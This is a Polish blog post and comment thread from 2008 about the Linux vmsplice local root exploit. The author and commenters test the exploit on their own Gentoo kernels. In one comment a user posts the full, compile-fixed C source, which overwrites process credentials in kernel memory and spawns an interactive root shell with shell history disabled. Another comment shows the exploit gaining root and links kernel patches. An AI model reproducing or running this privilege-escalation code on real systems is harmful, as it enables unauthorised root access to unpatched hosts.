A Ty? Czy jesteś zabezpieczony?
Już wszyscy wiedzą o exploicie na Linuksa. Postanowiłem zobaczyć czy moje systemy jest bezpieczny.
Próby kompilacji orginalnego exploita zakończyły się całą masą błędów kompilacji. Trzeba było popodprawiać.
Systemie nr. 1 (zen-sources)
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7db9000 .. 0xb7deb000
[-] vmsplice: No such file or directory
Po pierwsze należy mieć vmsplice(gdzie to w ogóle siedzi - nie mam takiej opcji w pliku .config?)...
System nr. 2 (hardened-sources)
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x52270000 .. 0x522a2000
zsh: segmentation fault ./a.out
Błąd w programie albo system zabezpieczony
Podsumowując - jak skonfigurować system, żeby był niebezpieczny ;) (wiem - luka jest, istnieje i musi być załatana - ale nadal to przypomina Why GNU/Linux Viruses are fairly uncommon)
Komentarze do wpisu
Możesz śledzić odpowiedzi poprzez kanał RSS. Możesz dodać komentarz lub zostawić ślad (trackback) ze swojego bloga.
mh
The vmsplice() system call first appeared in Linux 2.6.17.
moze masz starsze jajko?
w gentoo jak sie kilka razy uruchamia, to za ktoryms razem tegesuje :)
http://bugs.gentoo.org/show_bug.cgi?id=209460#c3
i btw. s/zen/xen/ ?
11 lutego 2008, 14:43:00
Uzytkownik
zen-sources 2.6.24 (takie mocno patchowane ;) ) a hardened-sources 2.6.23. Próbę powtórzyłem kilkadziesiąt razy zawsze dostając segfault.
11 lutego 2008, 14:54:39
largo3
U mnie też się nie kompiluje a nie mam za bardzo pojęcia co i jak poprawić. Możesz się podzielić swoją wersją? ;)
Pozdrawiam.
11 lutego 2008, 15:03:46
Uzytkownik
mh: Zareagował w końcu drugi system – kernel paniciem ;) [może nie na to akurat ale…]
largi:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define __KERNEL__
#include
#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
void exit_code();
char exit_stack[1024 * 1024];
void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs:(0), %0"
: "=r" (curr)
);
return (void *) curr;
}
#else
#error "unsupported arch"
#endif
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
static uint uid, gid;
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
void exit_code()
{
if (getuid() != 0)
die("wtf", 0);
printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}
int main(int argc, char *argv[])
{
int pi[2];
size_t map_size;
char * map_addr;
struct iovec iov;
struct page * pages[5];
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");
if (!uid || !gid)
die("!@#$", 0);
/*****/
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[0]);
printf("[+] page: 0x%lx\n", pages[1]);
pages[0]->flags = 1 << PG_compound;
pages[0]->private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;
/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);
pages[2]->flags = 1 << PG_compound;
pages[2]->private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;
/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);
/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
die("munmap", errno);
/*****/
if (pipe(pi) < 0) die("pipe", errno);
close(pi[0]);
iov.iov_base = map_addr;
iov.iov_len = ULONG_MAX;
signal(SIGPIPE, exit_code);
_vmsplice(pi[1], &iov, 1, 0);
die("vmsplice", errno);
return 0;
}
// milw0rm.com [2008-02-09]
]]> PS. Musiałem kompilować poprzez:
$ gcc exploit.c -I/usr/src/linux/include11 lutego 2008, 15:07:51
D4rky
Uzytkownik – teraz juz wiem dlaczego mi sie nie skompilowalo ;) Niezle, musze nalozyc pacza jakiegos ;x
11 lutego 2008, 15:22:45
largo3
Dzięki.
—————————————————-
Linux vmsplice Local Root Exploit By qaaz
—————————————————-
[+] mmap: 0×0 .. 0×1000zięki.
[+] page: 0×0
2.6.24-gentoo-r1[+] page: 0×20
[+] mmap: 0×4000 .. 0×5000
[+] page: 0×4000
[+] page: 0×4020
[+] mmap: 0×1000 .. 0×2000
[+] page: 0×1000
[+] mmap: 0xb7db9000 .. 0xb7deb000
[-] vmsplice: No such file or directory
BTW: largo nie largi. ;)
11 lutego 2008, 15:27:31
Dex
U mnie też „no such file or directory” (vanilla 2.6.19.7 i gentoo-tuxonice 2.6.23) ;)
11 lutego 2008, 22:54:10
Uzytkownik
Hipoteza nr. 1 – gentoo-patchset chroni przed błędem. Czy u kogoś działa ten exploit?
11 lutego 2008, 22:56:54
Dex
Hmm… W artykule na /. jest link do „5092” – ten exploit u mnie nie działa, również na kernelu gołym, bez żadnych patchy. Wywala „no such file or directory” i tyle. Jak przeglądałem kod kernela, to to nie jest jakaś opcja, tylko standardowo kompilowana rzecz. A w komentarzach do artykułu ze slashdota jest taki link: http://www.milw0rm.com/exploits/5093 i to u mnie za czwartym razem zadziałało… (trzy wcześniejsze uruchomienia – segfault)
dexter@altair [~]
23:43:59 $ ./spl2
—————————————————- Linux vmsplice Local Root Exploit By qaaz
—————————————————-
[+] addr: 0xc0111d90
[+] root
root@altair [~]
23:44:02 $ uname -a
Linux altair 2.6.23-tuxonice-r9 #1 PREEMPT Sat Jan 26 10:37:32 CET 2008 i686 Mobile Intel® Pentium® III CPU – M 1133MHz GenuineIntel GNU/Linux
To jajko zawiera gentoo-patchset, więc to przed błędem nie chroni ;)
Ten patch: http://git.kernel.org/?p=linux/kernel/git/stable/linux-2.6.24.y.git;a=commitdiff;h=1617e66d11d6621824f642728d62f242272fd063 i chyba jeszcze ten http://git.kernel.org/?p=linux/kernel/git/stable/linux-2.6.24.y.git;a=commitdiff;h=cece280a46c9b5c0adb4d5251f42c082a578e1ad powinny poprawić błąd, ale to dopiero jutro sprawdzę, bo jednej z tych maszynek skompilowanie kernela zajmuje prawie godzinę a ja chcę się wyspać ;)
11 lutego 2008, 23:47:56
Dex
PS. sprawdziłem teraz ten drugi exploit na maszynce z gołym, starszym (2.6.19.7) kernelem – nie działa ;)
12 lutego 2008, 09:27:04
Dodaj komentarz